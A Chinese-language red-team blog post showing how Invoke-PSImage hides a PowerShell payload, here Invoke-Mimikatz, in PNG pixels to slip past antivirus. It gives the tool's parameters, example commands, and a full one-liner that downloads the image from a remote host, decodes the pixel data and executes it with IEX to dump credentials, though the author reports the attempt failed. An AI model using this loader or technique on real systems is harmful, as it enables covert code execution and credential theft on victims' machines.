红队攻防之图片免杀执行远程命令

红队攻防之图片免杀执行远程命令

0x01 前言

powershell与图片通过Invoke-PSImage合成执行远程命令

0x02 Invoke-PSImage

Invoke-PSImage使用PowerShell脚本并将该脚本的字节编码为PNG图像的像素。它从Web的文件生成一个oneliner来执行。

它可以仅使用有效载荷数据来创建新图像,也可以将有效载荷嵌入现有图像的最低有效字节中,以便看起来像实际的图片。图像保存为PNG,并且可以无损压缩,而不会影响执行有效载荷的能力,因为数据本身以颜色存储。创建新图像时,通常会对常规PowerShell脚本进行显着压缩,通常会生成png,其文件大小约为原始脚本的50%。

使用embed方法时,每个像素中2个颜色值的最低有效4位用于保存有效负载。结果会降低图像质量,但看起来仍然不错。它可以接受大多数图像类型作为输入,但是输出始终是PNG,因为它需要无损。图像的每个像素都用于保存脚本的一个字节,因此您需要一个图像,其像素至少与脚本中的字节一样多。这相当容易-例如,Invoke-Mimikatz适合1920x1200的图像。

参数

-Script [filepath]嵌入到图像中的脚本的路径。

-Out [filepath]将结果图像保存到的文件(图像将为PNG)

-Image [filepath]要嵌入脚本的图像。(可选)

-WebRequest 输出用于使用Net.WebClient从Web读取图像的命令。您将需要托管图像并将URL插入命令中。

-PictureBox 输出用于使用System.Windows.Forms.PictureBox从Web读取图像的命令。您将需要托管图像并将URL插入命令中。

创建一个嵌入了脚本“ Invoke-Mimikatz.ps1”的映像,并输出一个oneliner以从磁盘执行:

1
2
3
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg
[Oneliner to execute from a file]

创建一个嵌入了脚本“ Invoke-Mimikatz.ps1”的图像,然后输出一个oneliner以从Web执行(您仍然必须托管该图像并编辑URL):

1
2
3
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg -WebRequest
[Oneliner to execute from the web]

执行网络上托管的图像:

0x03 操作演示

准备

1.图片(2000*2000)左右或者以上 ,注:我曾用过8K之上的图片,合成了三个多小时emmmm

2.Invoke-PSImage

3.Invoke-Mimikatz(powershell脚本,当然你也可以自己写或者利用msf、cs神器等等生成ps脚本)

4.w7虚拟机web环境

操作过程

1
Import-Module .\Invoke-PSImage.ps1
1
Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Image .\caijue.png -Out .\caijueshell.png -Web

将生成的图片放入远程服务器

并在本地执行

1
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.21.135/caijueshell.png"));$o=a Byte [] 2204160;(0..573)|%{foreach($x in(0..3839)){$p=$g.GetPixel($x,$_);$o[$_*3840+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([Sys tem.Text.Encoding]::ASCII.GetString($o[0..2204116])):Invoke-Mimikatz

理论上没问题,但是我出错了,,,后来感觉可能是mimikatz的问题,用msfvenom生成一个ps操作,,,发现好像是ps的问题,不搞了2点了,狗命要紧